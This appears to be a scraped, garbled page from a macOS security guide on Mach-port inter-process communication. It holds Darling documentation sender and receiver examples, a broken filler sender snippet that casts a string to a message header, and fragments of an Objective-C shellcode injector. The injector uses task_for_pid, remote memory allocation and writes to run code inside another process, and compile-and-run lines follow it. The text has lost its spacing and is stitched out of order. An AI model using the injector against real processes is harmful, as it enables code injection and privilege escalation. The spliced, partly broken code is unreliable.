#defineMACH_MSG_TYPE_MOVE_RECEIVE16 /* Must hold receive right */#defineMACH_MSG_TYPE_MOVE_SEND17 /* Must hold send right(s) */#defineMACH_MSG_TYPE_MOVE_SEND_ONCE18 /* Must hold sendonce right */#defineMACH_MSG_TYPE_COPY_SEND19 /* Must hold send right(s) */#defineMACH_MSG_TYPE_MAKE_SEND20 /* Must hold receive right */#defineMACH_MSG_TYPE_MAKE_SEND_ONCE21 /* Must hold receive right */#defineMACH_MSG_TYPE_COPY_RECEIVE22 /* NOT VALID */#defineMACH_MSG_TYPE_DISPOSE_RECEIVE24 /* must hold receive right */#defineMACH_MSG_TYPE_DISPOSE_SEND25 /* must hold send right(s) */#defineMACH_MSG_TYPE_DISPOSE_SEND_ONCE26 /* must hold sendonce right */
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html// gcc receiver.c -o receiver#include<stdio.h>#include<mach/mach.h>#include<servers/bootstrap.h>intmain() {// Create a new port.mach_port_t port;kern_return_t kr =mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,&port);if (kr != KERN_SUCCESS) {printf("mach_port_allocate() failed with code 0x%x\n", kr);return1;}printf("mach_port_allocate() created port right name %d\n", port);// Give us a send right to this port, in addition to the receive right.kr =mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);if (kr != KERN_SUCCESS) {printf("mach_port_insert_right() failed with code 0x%x\n", kr);return1;}printf("mach_port_insert_right() inserted a send right\n");// Send the send right to the bootstrap server, so that it can be looked up by other processes.kr =bootstrap_register(bootstrap_port,"org.darlinghq.example", port);if (kr != KERN_SUCCESS) {printf("bootstrap_register() failed with code 0x%x\n", kr);return1;}printf("bootstrap_register()'ed our port\n");// Wait for a message.struct {mach_msg_header_t header;char some_text[10];int some_number;mach_msg_trailer_t trailer;} message;kr =mach_msg(&message.header, // Same as (mach_msg_header_t *) &message.MACH_RCV_MSG, // Options. We're receiving a message.0, // Size of the message being sent, if sending.sizeof(message), // Size of the buffer for receiving.port, // The port to receive a message on.MACH_MSG_TIMEOUT_NONE,MACH_PORT_NULL // Port for the kernel to send notifications about this message to.);if (kr != KERN_SUCCESS) {printf("mach_msg() failed with code 0x%x\n", kr);return1;}printf("Got a message\n");message.some_text[9] =0;printf("Text: %s, number: %d\n",message.some_text,message.some_number);}
macOS Inter-Process Communication (IPC)
macOS provides several mechanisms for inter-process communication (IPC), such as Mach ports, XPC services, and UNIX domain sockets. These mechanisms allow processes to communicate and share data with each other.
One common use case for IPC is to send messages or data between processes. This can be useful for implementing features like inter-application communication, service management, and more.
In this example, we demonstrate how to use Mach ports for IPC in macOS. Mach ports are a low-level IPC mechanism that allows processes to send messages to each other. By creating a Mach port and sending messages through it, processes can communicate and exchange data.
// sender.c#include<stdio.h>#include<mach/mach.h>intmain() {mach_port_t port;kern_return_t kr;// Create a new Mach port kr =mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE,&port);if (kr != KERN_SUCCESS) {printf("Failed to create Mach port: %s\n", mach_error_string(kr));return1; }printf("Created Mach port: %d\n", port);// Send a message through the Mach port kr = mach_msg((mach_msg_header_t *) "Hello, receiver!", MACH_SEND_MSG, sizeof("Hello, receiver!"), 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (kr != KERN_SUCCESS) {printf("Failed to send message: %s\n", mach_error_string(kr));return1; }printf("Message sent successfully\n");return0;}
In this code snippet, we first create a Mach port using mach_port_allocate(), then send a message through the port using mach_msg(). The receiver process would need to have a corresponding Mach port to receive the message sent by the sender.
This is a basic example of IPC using Mach ports in macOS. Depending on your use case, you may need to implement additional error handling and security measures to ensure the integrity and confidentiality of the communication between processes.
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html// gcc sender.c -o sender#include<stdio.h>#include<mach/mach.h>#include<servers/bootstrap.h>intmain() {// Lookup the receiver port using the bootstrap server.mach_port_t port;kern_return_t kr =bootstrap_look_up(bootstrap_port,"org.darlinghq.example",&port);if (kr != KERN_SUCCESS) {printf("bootstrap_look_up() failed with code 0x%x\n", kr);return1;}printf("bootstrap_look_up() returned port right name %d\n", port);// Construct our message.struct {mach_msg_header_t header;char some_text[10];int some_number;} message;message.header.msgh_bits =MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND,0);message.header.msgh_remote_port = port;message.header.msgh_local_port = MACH_PORT_NULL;strncpy(message.some_text,"Hello",sizeof(message.some_text));message.some_number =35;// Send the message.kr =mach_msg(&message.header, // Same as (mach_msg_header_t *) &message.MACH_SEND_MSG, // Options. We're sending a message.sizeof(message), // Size of the message being sent.0, // Size of the buffer for receiving.MACH_PORT_NULL, // A port to receive a message on, if receiving.MACH_MSG_TIMEOUT_NONE,MACH_PORT_NULL // Port for the kernel to send notifications about this message to.);if (kr != KERN_SUCCESS) {printf("mach_msg() failed with code 0x%x\n", kr);return1;}printf("Sent a message\n");}
```objectivec // gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector // Based on https://gist.github.com/knightsc/45edfc4903a9d2fa9f5905f60b02ce5a?permalink_comment_id=2981669 // and on https://newosxbook.com/src.jl?tree=listings&file=inject.c
// Get access to the task port of the process we want to inject into kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask); if (kr != KERN_SUCCESS) { fprintf (stderr, "Unable to call task_for_pid on pid %d: %d. Cannot continue!\n",pid, kr); return (-1); } else{ printf("Gathered privileges over the task port of process: %d\n", pid); }
// Allocate memory for the code remoteCode64 = (vm_address_t) NULL; kr = mach_vm_allocate( remoteTask, &remoteCode64, CODE_SIZE, VM_FLAGS_ANYWHERE );
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to allocate memory for remote code in thread: Error %s\n", mach_error_string(kr)); return (-2); }
// Write the shellcode to the allocated memory kr = mach_vm_write(remoteTask, // Task port remoteCode64, // Virtual Address (Destination) (vm_address_t) injectedCode, // Source 0xa9); // Length of the source
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to write remote thread memory: Error %s\n", mach_error_string(kr)); return (-3); }
// Set the permissions on the allocated code memory kr = vm_protect(remoteTask, remoteCode64, 0x70, FALSE, VM_PROT_READ | VM_PROT_EXECUTE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's code: Error %s\n", mach_error_string(kr)); return (-4); }
// Set the permissions on the allocated stack memory kr = vm_protect(remoteTask, remoteStack64, STACK_SIZE, TRUE, VM_PROT_READ | VM_PROT_WRITE);
if (kr != KERN_SUCCESS) { fprintf(stderr,"Unable to set memory permissions for remote thread's stack: Error %s\n", mach_error_string(kr)); return (-4); }
// Create thread to run shellcode struct arm_unified_thread_state remoteThreadState64; thread_act_t remoteThread;
if (isStringNumeric(arg)) { pid = [arg intValue]; } else { pid = pidForProcessName(arg); if (pid == 0) { NSLog(@"Error: Process named '%@' not found.", arg); return 1; } else{ printf("Found PID of process '%s': %d\n", [arg UTF8String], pid); } }
inject(pid); }
return 0; }
</details>
## macOS IPC (Inter-Process Communication)
### Overview
Inter-Process Communication (IPC) mechanisms on macOS can be abused by attackers to facilitate privilege escalation. Understanding how IPC works on macOS is crucial for identifying and exploiting potential security weaknesses.
```bash
gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject <pi or string>
Inter-process communication (IPC) mechanisms are commonly used in macOS to allow communication between processes. Understanding how IPC works is crucial for both legitimate software development and security research. This section provides an overview of macOS IPC mechanisms and their potential security implications.
macOS IPC Mechanisms
macOS supports various IPC mechanisms, including:
Mach Messages: Low-level IPC mechanism used by macOS for inter-process communication.
XPC Services: High-level API for creating inter-process communication in macOS.
Distributed Objects: Framework for distributed computing using Objective-C.
Apple Events: Inter-application communication mechanism used in macOS.
Unix Domain Sockets: Inter-process communication between processes on the same system.
macOS IPC Security Considerations
When analyzing macOS IPC mechanisms, it is essential to consider security implications such as:
Privilege Escalation: Improperly implemented IPC mechanisms can be abused for privilege escalation attacks.
Data Integrity: Ensuring data integrity and confidentiality during IPC communication.
Authentication: Verifying the identity of communicating processes to prevent unauthorized access.
Denial of Service: Protecting IPC mechanisms from denial of service attacks.
Understanding macOS IPC mechanisms and their security considerations is crucial for securing macOS systems against potential threats.